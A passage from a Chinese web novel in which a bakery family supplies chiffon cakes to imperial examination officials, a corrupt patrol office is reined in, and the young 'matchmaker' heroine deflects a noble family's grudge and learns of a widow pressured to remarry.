是朱家,乃至朱家宗族都要善待的前儿媳。 柳月觉得有些荒唐,又觉得之前口口声声说会让家里同意的男子,没有那么伟岸了。 这事本不复杂。 是懦弱跟担不起责任,才让事情走到如今地步。 她之前做梦都想得到朱中杰爹娘的认可,如今竟然是这种方式的认可。 “娘,我们回家吧。”四岁的女儿小声道,“娘亲我想回家。” 她说的家,是苏州的家,是那个狭小但属于自己的家。 “好,我们回家。”柳月忍不住没向苏茵茵感谢,朱家在这,不能牵连到其他人。 如今她有前儿媳的名头傍身,轻易不会有事,可苏家不成。 国子监门前的闹剧终于结束。 可这事远远没有了结。 赶在乡试前发生这种事,实在是惊天丑闻。 以苏茵茵来看,原本必中乡试的朱中杰,只怕难以成事了。 此事感慨万千,苏茵茵只觉得心里堵得慌。 她见证了那么多喜事,什么五花八门的姻缘都有,没想到这件事给她的触动那样大。 朱中杰跟柳月的事,错一步都不会到如今地步。 倘若朱中杰不隐瞒身份,两人多半不会产生感情。 倘若朱中杰有些担当,更不会走到如今的地步。 说到底,还是两人身份不匹配的缘故。 感情是重要,却也抵不住身份差距。 苏茵茵揉揉脸,不想那么多了,柳月姐接下来的日子不会太难过。 朱家便是装样子,都不会让她过的太过困苦,否则朱中杰接下来别想结亲了。 这样的结果,既意外也不意外。 苏茵茵被金彦磊的人喊过来,这会人群散去要离开,自然还要再送回去。 不过看这小丫头颇带些愁容,金彦磊低声道:“别为这事发愁了,跟你说个好消息。” 什么好消息? “我把你做的戚风蛋糕带到皇宫,献给皇后娘娘,太子殿下。” “两人都觉得你们家点心甚好,准备作为乡试考官的点心之一,估计已经去你家预定了!” 苏茵茵震惊。 她没听错吧?! 此话当真? 宫中预定她家点心?! 方才的愁绪瞬间消散。 太好了! 她要赶紧回去做蛋糕啊,还愣着干什么。 苏茵茵赶紧道:“此事多谢你了。” “谢我做什么,有机会谢谢太子殿下,我原本都要出宫了,他又把我喊回去,专门定你家的点心啊。” “太子可真是个大好人。”苏茵茵笑得眼睛亮亮的,“有机会一定亲自谢他!” “不说了,我回去做蛋糕了!” 第47章 安盛十三年,八月十七,距离今年乡试还有一天时间。 今年的乡试真是热闹,不仅是考试热闹,西市兵马司发生的事,也让人津津乐道。 跟火禁司的人不同,巡查司指挥使只觉得丢面子。 不仅能差事没办成,还让人下了脸面。 原本就跟苏指挥使不对付,如今更是有仇一般,干脆吩咐手下,没事就去找苏家店铺的麻烦。 那慧女点心不就是他娘子开的,听说生意还不错,大家路过的时候,一定要去看看。 巡查司得了上司命令,自然要去。 也就是其中梁副使给自己人使眼色,让自己手下去跟苏指挥使说一声,省得真的出事。 为了女儿得了好姻缘,他也要想着苏家啊。 苏指挥使得到消息,脸色变得难看。 兵马司内部的事,在内部解决就好。 谁会闹到家中。 慧女点心最近几年经常排队,巡查司要是想找麻烦,肯定特别简单。 “先回去看看。”苏指挥使道。 丁鹏正更想骂人了。 那巡查司一向霸道,现在装都不装了吗。 他们指挥使按规矩办事,怎么就让对方不满。 等苏指挥使回店里的时候,正好碰到巡查司的人找麻烦,只听巡查司的人道:“你们店里排这么长的队,严重影响行人通行,街道就这么窄,你们占了道路,还有什么好说的。” “赶紧都散了,全都散了。” 不让顾客排队,更不让他们在门前聚集。 周围店铺面面相觑。 他们都没说什么,巡查司的人找什么麻烦。 若不是慧女点心的生意这样好,附近也没那么多顾客过来啊。 再说了,慧女点心很早就注意到这件事,排队的顾客都沿着路边站,绝对不会挡路的。 “没事找事。”孙东俊偷偷道。 孙母瞪他一眼,赶紧把他拉进店铺。 知道也不能说出来,那可是军爷,不能惹的。 其他店铺老板伙计同样偷偷进门,根本不敢跟兵马司的人多说。 反而顾客们不惯着,开口道:“我们没有挡路啊。” “只是买个点心,有什么错吗。” “就是,我们买得快,走得也快,犯了哪一条罪?” “还敢狡辩,本官说你们聚集就聚集了,赶紧散了,听到没?”巡查司等人举了举刀,明显是威胁的意思。 苏指挥使快步过去,沉声道:“你们要做什么?持刀对着百姓吗。” 巡查司的人原本耀武扬威,看到苏指挥使过来,瞬间熄火,赶紧道:“见过苏指挥使,是上面的意思,我们也没有办法。” 上面,那就是他们指挥使。 丁鹏正站出来:“上面?有何指令,可有文书?此地排队又犯了哪条王法。” 事实上,现在的情况跟之前一样。 依旧是巡查司以权压人,火禁司的人按令行事。 眼看周围人越聚越多,只听一个尖锐的声音道:“此地可是慧女点心?” 只见那人穿着宫中太监的衣裳,看着品级还不低的样子,众人连忙看过去,对方不慌不忙走到店门前:“请问谁是东家,我这有桩生意,需要详谈。” 苏娘子一直在场,见此站出来道:“我便是东家,还请进内详说。” 这太监像是没看到冲突一般,抬头看了眼找茬的人,轻蔑道:“皇城脚下,怎么还有这种人。” 旁的不须在多说,巡查司众人已经冷汗直冒。 对方不会是宫里的太监总管吧? 再看人家身上的穿戴,好像真是那么回事。 原本还想找茬的众人,再看看面前的苏指挥使,赶紧四散而逃。 苏茵茵回来的时候,门口围观的人还在讨论:“那是宫里的人吗。” “看样子像。” “难道慧女点心,还做了宫中的买卖?” “哎,不管怎么样,咱们还是排队吧,那戚风蛋糕真好吃啊。” 谁料苏娘子竟然出来道:“抱歉,可能要闭店三日,等三日后大家再来吧。” 闭店?! 这是怎么了?! 难道说被找茬,所以避避风头? 不管大家怎么问,苏娘子闭口不谈,苏茵茵赶紧上前,眼睛带着惊喜。 肯定是宫里的生意来了啊! 她听金彦磊讲完,便立刻赶回来,还朝金彦磊的小厮道谢:“多谢小哥送我回家,辛苦你了。” 对方连连表示不用,苏茵茵道:“反正闭店了,店里应该还有刚做好的蛋糕,给你和你家公子带一些回去吧。” 这自然好啊! 金彦磊的小厮美滋滋离开,怪不得她家生意做得好,点心好吃,人也好啊,现在还做了官府的生意。 原本热闹的慧女点心关闭店门,让顾客们只能叹息。 他们只是想买个点心啊! 都怪巡查司的人,没事找什么麻烦。 巡查司回去禀告,指挥使听了之后,当场皱眉。 宫里去人? 做什么? 难道他真的压错宝了。 原本以为姓苏的没有后台没有根基,欺负他一下也没什么,还能讨好朱家。 现在好像都玩砸了。 “别去了,以后都别去了,此事到此为止。” 巡查司手下心道,您想到此为此,只怕没那样简单吧。 此刻关闭店门的慧女点心,正在数此次买卖的定金。 汴京乡试共有五处贡院,每处每天提供四十个戚风蛋糕。 也就是说,一天便要做二百个,赶在下午的时候送过去。 而一个戚风蛋糕的价格为一百八十文,二百个为三十六两。 一天毛利润在三十六两,任谁都要深吸口气。 三天的时间,就有一百零八两进账。 可以说,这是他们店里接过最大的生意了! 甚至不用她们送货,每日下午未时之前做好就行,会有官府的人专门来取。 也就是只管做点心,下午两点前做好。 预定点心的太监总管还很客气,甚至称得上和颜悦色:“宫里吃了你们店里的点心,喜欢的不得了,正好赶上乡试考试官员们辛苦,所以帮他们定下。” “乡试重要,一定要供着他们。” 说罢留下银钱,以及宫中给的文书,证明这件事确实存在。 苏指挥使接触过的公文多,但用金笔写的,还是头一回见。 苏茵茵看着上面的字迹,不知道为什么,觉得有一点点眼熟,仔细看的话,还是不同的,这字更为秀丽。 这份大订单,把慧女点心之前的晦气一扫而空。 苏娘子更是抚摸宫中文书,开口道:“现在就准备吧,明日一定要及时做出来。” 在外人看来,慧女点心因为躲避麻烦关门,实际上内里忙得热火朝天。 即便乡试当日,苏娘子都是匆匆出来,送长子去考场。 苏茵茵自然也跟着一起,苏显反而最为淡定,他不是头一次参加乡试,早就没了当初的紧张感。 苏茵茵也没问哥哥有没有把握,只道:“哥不要有压力。” 苏显笑着摸摸妹妹的头。 读书这么多年,已经没什么压力了。 反而跟着凑热闹的孙东俊直想咬指甲,他紧张啊,虽然不是他考试,但作为学渣,本能害怕这种场合! 他娘还说过来见见世面,这世面有什么好见的嘛。 今年的乡试正式开始。 苏茵茵想到另一个人朱中杰,他也要参加今年乡试的。 不知道经历了之前的事,他还能不能考上。 之前太子去国子监的时候,还专门让他接待,若考不上的话,只怕他的夫子都觉得丢人吧。 管他呢,一切等到考试结束后再说。 三日后考完试。 十日后放榜。 到时候肯定有好戏可看。 考试这三天里,苏茵茵还见了柳月姐一面,她果然不能直接离开。 朱家便是装样子,都要好好招待她,并且见了家中族老,正式上了族谱。 这有些像先上车后补票,所以事情做得低调。 当然,也没人提,干脆将错就错,让柳月真正成为朱家儿媳。 柳月自己更不想如此,要不是为了女儿的身份,她估计早就想走了。 至于柳月的女儿珠珠,以后依旧交给柳月抚养,到时候苏州当地宗族会每月送去银钱米粮,不会亏待孩子。 便是等到出嫁,同样会依例给一份嫁妆,证明朱家没有忘记这个孩子。 交给柳月抚养的理由也简单,肯定是女儿舍不得母亲,不好让母女分离等等。 总之朱家想挽回脸面,肯定会把事情做得周全。 等朱中杰从考场出来,再让他完成必要的手续,到时候柳月就能回苏州了。 再之后,两人桥归桥路归路,不再有往来,成全所有人的脸面。 此事一直是京城百姓茶余饭后的谈资。 谁听了都要骂一句朱中杰不是个东西。 好好的清白女子嫁给他做妻子,转头又要人家做外室,做妾,恶不恶心啊。 苏娘子她们做蛋糕的时候也在感慨:“说到底,当初门不当户不对,那朱中杰又是个没担当的,所以才会这样。” 店里帮忙做事的周娘子,刘姐姐同意道:“是啊,若不是柳月心志坚定,现在哭都没地方哭。” 众人这么说着,店里后门被敲响。 苏茵茵看了一眼,正好对上原锐的目光。 他怎么来了。 原锐开口道:“我来取点心。” 谁? 你? 苏娘子惊奇道:“你在朝中做事?” 对于原锐的身份,苏家夫妇自然猜测过。 可不管怎么猜,也不知道是哪家。 之前苏茵茵还问过,他的学问很好,怎么不考科举,原锐只答:“不用考。” 不用考,大概有两个解释方向。 一个是身份太高,考不考对他,以及他的家族来讲,没什么区别。 二是身份不一样,不能考,那更值得深思。 最后还是苏茵茵道:“他不愿意说就不说,反正京城高门大户那么多。” 当时的苏茵茵对京城高门大户还没什么了解。 她接触最大的官宦子弟,还是最初差点跳湖的张姐姐跟程公子。 之后是李云敬家。 但再深的来往就没有了。 经历过柳月的事,心里反而更加不同。 京城的高门,可谓深不可测。 人家稍稍动动指头,都能让普通人家的女子没有翻身之地。 即便是柳月姐如今的处境,都说不上一句好,顶多挽回损失。 原锐对苏娘子行礼,点头:“是,帮家中长辈做些差事。” 说着,原锐出示官府令牌,证明他是来领点心的。 五个考场的点心清点好,后面侍卫们小心接住,一一送到考场当中,当考官们的下午点心。 侍卫们离开,原锐却并未走,而是站在门外看向苏茵茵。 苏茵茵只好出去,顺便把门给关上,开口道:“原来你最近在忙这些事。” “嗯。”原锐笑,“所以抽空来看看。” 眼看苏茵茵不想再聊,原锐先一步道:“那我走了,等最近忙完再来。” 苏茵茵欲言又止,只好看他离开。 以前的她从来没有思考过这个问题。 那就是,原锐到底是什么身份。 晚上睡觉前,苏茵茵翻箱倒柜,甚至搬开沉甸甸的小猪储蓄罐,打开下面的箱子。 从小到大收到的礼物都在里面。 蝴蝶腰坠,蝴蝶风筝。 还有再长大一些的各色礼物。 甚至翻到她小时候写字用的小书箱。 每一件礼物,都能透露出其中的价值。 也全都证明原锐身份不简单。 甚至比朱家还要更厉害那种。 所以原锐到底是什么身份? 想着想着,苏茵茵直接睡着。 第二天一醒,直接把东西再放回去。 想什么想! 人家想说就说,不想说就不说。 管她什么事。 现在的她只有一个目标,快快起床去做点心! 还要去香橼商人那,再定一些柠檬回来,省得不够用。 一批批食材运过来,原本就不大的店面更小了,即使算上仓库厨房,地方还是不够大。 好在房东也说,他已经预定了江南来的工匠,年底之前可以准备扩建。 等到明年生意淡季时候,正式动工。 到时候他们的店面,就是两层楼高,绝对够用。 房东甚至道:“其他店面会涨租金,你们店面还按原来的价。” “要不是你们家,周围不会有那么多租客啊。” 好好好,该说您心肠好,还说您奸商啊! 有了昨天的经验,今日两百个蛋糕做得更快了。 但上午时候,官府来人道:“苏娘子,苏姑娘,今日能不能再多添一百个蛋糕,你家点心实在供不应求,老大人们喜欢的很。” 昨天科举头一天,学生们考试,考官们忙完便在一起喝茶闲聊。 等到下午点心一到,不少人都惊讶新添的点心,也有人认识:“这不是西市慧女点心家的新品,要排队才能买啊。” 听说是皇后,太子亲自吩咐的,大人们连连感谢,然后尝了一口。 就这一口,便一发不可收拾。 好吃啊。 又香又软的,还甜滋滋的。 特别是牙口不好的老大人,更是喜欢。 一口蛋糕一口茶,日子还能比这更舒坦? 于是,各个考场的蛋糕抢购一空,当值回来的官员甚至吃不到啊。 负责事务的官员无奈得厉害,大人们又催着东西不够。 那能怎么办,他们去定呗。 官府的人道:“反正能多做几个就多做几个,银钱肯定照付。” 苏娘子她们傻眼。 官府的大人们都那样喜欢啊。 也是,谁让他们的点心好吃呢。 不过每日增加一百个,那是不成的,增加到五十还行。 慧女点心内里火热朝天,帮工们也加了奖金。 她们一定会做好的! 三日后,乡试终于结束,慧女点心众人松口气。 苏娘子直接道:“大家歇息两日再来吧,反正店门已经关了三日,再多关两日也没什么。” 说着,还把这次奖金提前发了。 店里的人自然高兴。 外面盼着他们开店的顾客们左等右等,怎么还不开门啊。 说好的闭店三日呢? 从考场出来的苏显则拿着红纸,贴在店门上:“歇息两日,两日后开门。” 又歇?! 那他们怎么买蛋糕啊! 三日不吃你家的点心,他们抓心挠肺的! 现在三日不成,还要五日? 为什么啊! 不少顾客忍不住阴阳怪气兵马司,特别是巡查司的人。 肯定是你们去找麻烦,所以才让他们关门的! 就连不少官员家眷都在这样说。 惹得巡查司指挥使只好去问苏指挥使,明里暗里都在说,乡试都结束了,你们倒是开门啊。 你们要是不开门,我一直挨骂。 苏指挥使才懒得理他,更不接受对方要缓和关系的态度。 还是那句话,兵马司内部的矛盾是内部的事,他不应该去找自己家人的麻烦,这是底线问题。 巡查司指挥使急得冒火。 朱家那边已经彻底不用他,明显觉得他办事不力,现在还跟姓苏的关系不好,差事更加难办。 让他没想到的是,宁郡王竟然抽空召见他。 召见他第一件事,便是问他随意抓人的问题。 宁郡王案上放了一沓卷宗,都是火禁司那边整理出来的名单。 这些人都没有逮捕令,也没有官府文书,却被巡查司抓到监牢里。 火禁司花了好几日时间,把这十几年的卷宗全都翻出来,直接送到宁郡王手中。 宁郡王看着这个向来油滑的手下,自己本来就不待见他,这位也有心去往他处,所以睁一只眼闭一只眼,等着他自己离开。 现在不仅没能离开,反而被抓到把柄,就不能怪他了。 “解释解释吧,这是怎么回事。” 西城兵马司即将迎来整顿。 巡查司是重中之重。 反观火禁司众人喜笑颜开。 惹我们老大,你们完蛋了! 苏家更是轻松。 苏显考完试,点心铺闭店,一家人罕见整整齐齐在家休息。 秋高气爽的,索性出去郊游。 苏显还带家人去了趟山家书院。 书院不少人都听说过苏茵茵的名字,特别是她在国子监门前说朱中杰不忠不孝不仁不义,简直说到他们心坎上。 “国子监那些人,一直都这样,装的像回事。” “没错,天天只会死读书,读书就为做官。” “太子被国子监祭酒请去一次,回来之后让他评价,其实是想让殿下夸一夸的,可没想到根本没理。” 还有这件事呢。 苏茵茵他们听的热闹,一直到店铺重新开业,另一件好事也找过来。 房东高兴道:“江南匠人提前来了,先丈量房子,然后去准备材料,等到明年正月二月,就能直接建了。” 如今八月下旬,除去十一月腊月太冷不能做事,那现在开始准备材料,应该刚刚好。 眼看北市一条街挨个被测量,慧女点心也不例外,就知道这条集市很快就会更热闹。 慧女点心重新开门,门前瞬间排起长队。 之前找茬的巡查司众人,路过时都客客气气的。 毕竟宁郡王对他们上司十分不满,大概率会被免职。 这种情况下,巡查司人人自危,生怕再惹到苏指挥使啊。 顾客们没那么多想法,他们就是想吃口点心而已。 整整五天啊,五天没开门,知道他们有多想吃你们家点心吗。 再知道店面明年就扩建,还会增加几个烤炉,多招些人,更是为慧女点心高兴。 排队的人当中,自然还有其他点心铺的东家伙计。 他们都在思考一个问题。 慧女点心做的东西,为什么越来越难学了。 最开始让他们出名的拇指枣泥酥,至今也做不出他们那样的面皮出来,顶多在之后几年里,猜出里面加了黄油。 从那之后,黄油几乎成了各家点心铺的标配。 但今年的戚风蛋糕,更是完全改变了点心的形状口感。 但他们依旧做不出来啊。 明明知道这是用鸡蛋,牛奶,面粉做的。 可就是做不出来。 为什么? 别问为什么了,先买来尝尝再说吧。 这样的火爆持续到乡试放榜当日。 然后更火爆了! 改完卷子的大人们,终于可以出考场了! 出考场第一件事,便是吩咐自家下人:“去西市慧女点心,给我买些戚风蛋糕回来。” “最好是热的,新鲜的,快去。” 各家仆从一头雾水。 老爷你们在说什么啊! 怎么出了考场,都要吃这个? 原因也简单,喜欢啊! 自从乡试开始,各位大人就在考场了。 前三天,每日都有香软的点心供应,也算解了吃住都在考场的苦闷。 接下来阅卷的七日里,点心呢? 他们想要的点心呢? 问了负责考场的官员,人家也有话说,现在正批改试卷呢,不能再传递东西了,等乡试放榜再说。 这样一来,大人们自然更加想要啊。 有时候不一定是想吃那样东西,而是想吃的时候没有,便更加迫切。 于是各大考场出现奇景:“快去慧女点心买点蛋糕,老爷要吃!” 眼看队伍越来越长,苏茵茵都开始做蛋糕了,刚看完榜单的苏显跟着过来帮忙。 苏茵茵刚要安慰哥哥,就听她哥说:“意料之中,不用难过。” 如今科举越来越难,每次主考官的喜好变化也大。 比如今年主考官为国子监祭酒,不喜欢山家书院这种读书风格很正常。 所以苏显并不介怀,可能是书读的越多,心里便更稳。 而且他在山家书院并不需要学费,平日还能靠着抄书写文挣点银钱,故而不像早些年那样慌张。 “哥哥今年才二十,以后还有很多机会!”苏茵茵小声道。 苏显捏捏妹妹的脸:“没错,妹妹说的对。” 苏家对这次科举早就心里有数,不难过很正常。 但此刻的朱家,举家上下丧如考妣。 朱中杰失魂落魄坐在下位,脸上的愁容根本遮掩不住。 他没考上。 明明都说他能考上的。 但榜单翻来覆去的看,就是没有他的名字。 朱侍郎朱大人一巴掌打在他脸上:“废物,实在是废物!” 多年来的怒火终于散出来,就连朱夫人过来护住朱中杰,也压不住他的怒火:“不忠不孝,不仁不义,说的还真没错!” 朝中言官政敌,正在拿这件事说项。 他不仅要应对那些人,现在儿子还落第,简直腹背受敌。 “这几年来,你对得起谁!” “这点事情都扛不住,朱家还能指望你吗?” 自从事发之后,朱家在尽力弥补,还要安抚朱中杰,让他好好考试。 按照他原本的水平,应该是能考上的。 结果呢? 结果扛不住压力,在考场上屡次崩溃,最终还是落第。 要说今年二十四的年纪,也不算太大。 可朱大人更气的是他这幅模样,半点担当都没有。 他要是能考上,京城那些乱七八糟的话还能压下去。 现在不仅考不上,还一幅丧气模样。 朱大人满脸失望,让朱中杰手足无措,他只得赶紧求饶,连连道歉。 但现在,这些话还有什么用。 他以后能不能考中,都是两说了。 至于婚配,更不要提。 既无能力,又无担当,汴京哪家女子愿意嫁他。 反而是柳月,让人刮目相看。 她不求名利富贵,只求一份和离书,现在已经坐着家乡商会帮她雇的马车回家了。 朱家明面上更不能亏待前儿媳,又送去好礼无数,还要让苏州本地族人多照顾。 若对方过得不好,朱中杰以后的婚事更难说。 想想人家,再看看自己儿子。 若无家世,真不知道谁配不上谁。 朱夫人跟着哭了一会,也为儿子接下来的婚配难过,忽然想到什么,赶紧道:“听说西市有个点心铺,那家有个小红娘。” “不如让儿子去一趟,让小红娘帮帮忙?不管是真是假,反正名声在外。” 这也是个办法。 朱大人摆摆手,让她去做就好,随后道:“让二少爷三少爷来书房。” 朱中杰更是震惊,父亲要换人培养了吗。 一向疼爱他的母亲却没说什么,显然默认了。 以后的朱中杰,便是家中闲人,母亲只想为他找门合适的亲事,以后吃吃喝喝就好。 家中另一些事,不必指望他了吧。 第48章 “这是你们预定的喜饼,怎么亲自来了,说好我家去送的。”苏娘子笑着道。 对方娘子答:“正好路过,便捎回去。” “对了,还真是多谢你家,月底家中宴席,可一定要来,茵茵必不能少。” 苏茵茵端着蛋糕过来,朝说话的娘子笑笑:“婶娘跟我没关系的,只是正好路过,帮忙递了东西。” “可不能这么说,要不是你帮忙递了物件,他们还看不到对方呢。” 这说的是今年元宵那会,正是苏茵茵的生辰,她跟哥哥,还有原锐,孙东俊他们吃过饭后,去街上看花灯。 街面上人多,前面姐姐手帕掉了,正好后被后面男子接住,那男子脸一下子通红,也不好自己去还,正好找到苏茵茵他们。 苏茵茵按照那路人男子的指认,将手帕还了回去。 前面姐姐惊喜万分,一定要请她吃汤圆,然后便跟真正捡手帕的人认识。 这种事发生过太多次了! 苏茵茵都习惯了啊! 不就是又一对小情侣终成眷属吗,她半点都不羡慕! 小时候还好,最近一段时间,苏茵茵忍不住想,她都撮合那么多姻缘了,自己怎么还是母单。 倒不是说这辈子,这辈子她才十三,年纪还小呢。 主要是上辈子,那会都十八了,连个早恋都没有啊。 不想就罢了。 再仔细想想,苏茵茵难免想到有男同学约她逛街,她就真的闷头逛街,完全不知道什么意思。 这大概就是母单人吧。 苏茵茵揉揉脸,不要想了啊,她年纪还不大啊! 对方接过喜饼,再次确认时间,苏茵茵点头:“好的婶娘,我一定会去的。” “好好好,小红娘过去,家里有喜气。” “是姐姐本来就有喜气。” 双方客气着,正好排到朱中杰母子,朱夫人看着便与众不同,像她这种身份,很少会亲自排队。 “这就是小红娘苏茵茵吗,我听说过你的名字,果然名不虚传。”朱夫人客气道。 苏茵茵一听这话,就知道对方的意思,刚想婉拒,正好看到朱中杰。 而朱中杰也看了看过来,惊愕道:“是你。” 这是怎么回事? 苏茵茵也傻眼了。 对方怎么还追过来? 等朱夫人知道,这就是说她儿子不忠不孝不仁不义的路人时,眼神立刻变得阴狠。 原来是她。 怎么这样巧,偏偏是小红娘。 若不是因为她的名声,也不会发现这人是谁。 苏茵茵心道完蛋,原本以为这辈子跟朱家不会有来往,谁能想到会碰到? 正好西城巡查司的人路过,客气打招呼:“苏娘子,今日生意还更好了啊。” “茵茵妹妹更好看了。” “我们走了啊苏娘子。” 朱夫人眼神飞转,冷笑出声。 苏茵茵抬头看她,对方不是蠢人,显然察觉到里面的问题。 他们便是这会察觉不到,可之后肯定会猜出来,是谁传递的消息,又是谁帮柳月的忙。 她跟她爹都会被牵连进来。 原本以为柳月姐离开,事情便会告一段落。 时过境迁后,就再也不会有人提起。 谁能想到还有这种巧合。 可她不会允许有人伤害她的家人。 谁都不准对她的家人有一丝一毫的威胁。 朱夫人心里闪过一万个念头,谁料对面的小姑娘放下手里的东西,笑着道:“朱夫人,还请借一步说话。” 一瞬间,眼前的小姑娘几乎换了气势,她依旧笑盈盈的,眼神却变得坚定。 苏茵茵握住娘亲的手:“娘,我跟她说句话。” 苏娘子皱眉,女儿却道:“放心吧,小事,肯定是想让我帮她儿子说姻缘,我最会拒绝这些事了。” 这个倒是真的。 走到街边角落,苏茵茵转身看向朱家母子,根本不容对方多说:“朱夫人,朱公子,怎么会来西市。” 自然为小红娘的名声! 朱中杰婚配艰难,要借个外力才成。 苏茵茵笑:“我既可以撮合,也能不撮合。” 这是什么意思。 朱夫人本以为一个小姑娘而已,根本不是她的对手,可眼前之人笑不到眼底,继续道:“朱公子本就不好的名声,不想雪上加霜吧。” 威胁。 分明是威胁。 只要她开口,那朱中杰的婚事就别想了。 谁让她是小红娘! “对了,朱家是不是还有别的公子。”苏茵茵半点不露怯,直言道,“望朱夫人考虑清楚。” 朱中杰惊惧交加。 最近他是怎么了,一个小姑娘都能拿捏他。 可再想到她之前在国子监门前那番话,不是谁都能说出来,可见眼前之人的口舌真有那般厉害。 朱夫人心思百转千回,惊讶于这少女的坚定跟口才,竟然生出几分欣赏。 若这小姑娘生在大家族里,必然会有所作为。 见她态度软和,苏茵茵的笑反而真挚了:“今年事多,恐是流年不顺,想来多一事不如少一事,结怨不如结缘,待过个几年,日子反而好些。” 意思就是,你们朱家最近事那么多,肯定是运道不好,何必再找事呢。 至于朱中杰那些破事,过个几年便消散了,到时候再说呗,不要急于一时。 朱夫人显然听懂,认真看了小红娘:“罢了,此事到此为止。” 但让小红娘撮合姻缘的事,就不要想了。 看着朱家人离开,苏茵茵偷偷松口气。 还好还好,没有让事情升级。 此事终于结束了。 不过也让她明白一个真理。 千万不要跟这些大家族扯上关系啊! 不然太倒霉了! 苏茵茵回头,正好看到原锐。 不知道原锐在一旁听了多久,看她的眼神带了笑意。 “看什么看,偷听很好吗。” 李锐渊没说话,又看她一眼,才道:“聪明。” “敏锐。” “有胆气。” 夸人的话像不要钱一般说出。 李锐渊大概猜出内情,知道若不是茵茵这番话,对方肯定不会轻易罢休。 短时间内,应对的有礼有节,还颇有气势,实在厉害。 苏茵茵被夸的不好意思,仰头道:“没错,这就是我!” “小心。”李锐渊赶紧去拉人,苏茵茵却下意识躲开,还是撞到前面的姐姐身上,那女子手中篮子掉在地上,东西撒了一地。 “不好意思。”李锐渊先一步帮忙道歉,苏茵茵连忙道,“姐姐对不起。” 被撞的女子紧皱眉头,明显烦心事缠身,可见两人道歉帮她捡东西,不好再说什么。 苏茵茵建起竹篮里的香烛纸钱,这分明是人忌日用到的,再次道:“真的对不起。” 对方开口:“本就晦气,算了排队买个蛋糕吃。” “不用,我送你。”苏茵茵连忙道,“我去拿。” 去拿? 女子这才知道,对方是慧女点心东家的女儿。 也是巧了,不过她还是坚持付钱,毕竟只是不小心碰到她,又没什么大碍。 女子吃着蛋糕,又看了看苏茵茵,叹气道:“算了,我还是离远点,虽说你名声很好,可我现在看到红娘就头疼。” 这是为何? 苏茵茵奇怪了。 从小到大,不少人听到小红娘的名头,第一时间想要好姻缘啊。 对方没有过多解释,拿着香烛纸钱离开,蛋糕留了一块,显然要往郊外走。 这是要去上坟? 李锐渊道:“她在守寡。” 方才头上簪了朵白花,不过看着不像新丧。 两人说着,来找他们玩的孙东俊插话:“我知道怎么回事,她是西市药铺的老板娘,老板病逝两三年了,还好她也会医术,药铺由她跟公婆照顾,生意还可以。” “那她为何如此烦恼?”苏茵茵问道。 “因为她婆家族亲要给她介绍对象啊。” 孙东俊一股脑说出来。 这是西市许多人都知道的,不算秘密。 西市何家药铺,十多年前投奔族亲来京城,最后在西市落脚,凭着家中医术,开了间药铺。 他家人口简单,公婆儿子儿媳,其他再无旁人,四个人一心努力,铺子蒸蒸日上。 但前些年何老板身子日渐变差,最后病逝,便留下儿媳跟公婆三人。 他们一家子感情好,公婆对儿媳一直不错,所以儿媳守寡之后劝过她再嫁时,何家儿媳窦玉凤却拒绝了。 按照她的话说,爹娘对我极好,我也想着老何,再嫁谁知道会遇到什么人,倒是没那个想法。 窦玉凤身世可怜。 很小的时候被爹娘卖给何家做童养媳,早就不知道自己亲生爹娘在哪。 幸好遇到何家对她不错,打小在何家还学了医术,现在让她离开,反而不知道去哪。 从那之后,何家医术基本都传给何家儿媳,公婆就把她当女儿养。 一家三口觉得日子过得很舒心。 可何家其他族亲却渐渐有了心思。 觉得儿媳窦玉凤是外姓,如何能学他家医术,最近一直在给她介绍人家,想让她嫁出去。 窦玉凤因此烦恼不已,公婆却不好多劝,更不好劝族亲。 因为如今寡妇再嫁是常态,他们要是出面阻拦,肯定有人说是他们逼迫儿媳不嫁。 到时候只会更麻烦。 孙东俊说完,苏茵茵道:“怪不得她不想见红娘。” 这种事也常见。 不管嫁与不嫁,都是为了日子顺心。 窦玉凤从小在何家长大,跟亲生女儿差别确实不大。 她好好经营自家药铺,日子只会顺心如意。 现在有人逼着她改嫁,反而对她不好。 苏茵茵跟李锐渊对视一眼,明显看出其中缘由。 孙东俊瞪大眼睛:“你们又在说什么!” “我们根本没开口啊。”苏茵茵下意识道。 “胡说!你们对视了!这就代表你们交流了!”孙东俊立刻道。 他们从小一起长大,谁还不知道谁啊! “对视就是交流吗,那我们说话算什么。” 孙东俊大脑当机,迟疑片刻:“算废话?” 苏茵茵跟李锐渊都不好直说其中情况。 那族亲想让窦玉凤改嫁,是怕她占了何家的铺子。 若她走了,留下公婆两位老人,不出五年时间,家产便会被霸占。 但这话不好直接讲,干脆插科打诨糊弄过去。 说着说着,倒是跟往常一样。 李锐渊多是听,顺便帮苏茵茵补充,孙东俊跟着说话,不时嘀咕两人不要用眼神交流了!说出来!都说出来啊! 等走到慧女点心门前,孙东俊摸摸下巴:“咱们好像很久没这么说话了?” 孙东俊甚至认真数了数:“最近两个月原锐特别忙,茵茵妹妹也很怪,好像就我跟之前一样。” 而且很久没去院子骑马了,他很想去啊,怎么这两个都不吭声的。 这话一说,李锐渊跟苏茵茵下意识又看向对方。 李锐渊迟疑片刻道:“我还要再忙一阵。” 虽说乡试结束,但十月观政在即。 苏茵茵则道:“我也要忙,估计接下来店里生意会格外好。” 为什么? 孙东俊不解。 苏茵茵道:“你很快就会知道了。” 没过几天时间。 关于这件事议论纷纷。 “乡试考官们都说慧女点心做的新品好吃!” “岂止啊,还是宫里称赞过的。” “太子跟皇后娘娘都说好。” “关于太子还有个秘闻,你们知道吗?” 什么秘闻? 可惜知道的人太少,苏茵茵也没听到,就连孙东俊都打听不出来啊。 但孙东俊这会没机会多问,他一直在自家店里帮忙。 因为来西市买点心的人太多,连带着整条街生意都好了不少。 他家的酱料供不应求。 怪不得茵茵妹妹说接下来生意会格外好,是真的啊。 乡试那会,宫里订点心的消息传不出来,一直到乡试彻底结束,大家才知道慧女点心闭店那几日,是在给科举场的大人们准备点心。 甚至还是皇后,太子钦点。 这就罢了,毕竟给考场供应吃食的不止一家。 问题是不仅供应了,还让大人们都喜欢。 那些能做考官的大人都是什么家境,他们都喜欢的不得了,那味道能差? 一直到九月份,慧女点心的生意依旧好到离谱。 本就不大的店面,已经挤了苏娘子还有四个帮工,苏茵茵想去帮忙都没地方站。 除了店面的生意之外,还有不少大户人家过来预定。 松软香甜的蛋糕,几乎成为各家小宴争相订购的佳品。 毕竟只此一家,再也没有其他人能做。 可惜大多数人家都订不到,谁让他们的生意太好。 不少嗅觉味觉灵敏的点心铺老板,都不知道他们在用什么食材。 直到发现慧女点心大量买进香橼,可他们真的找不到香橼到底用在哪啊。 这秘方只有苏家母女两人知道,肯定不会外传。 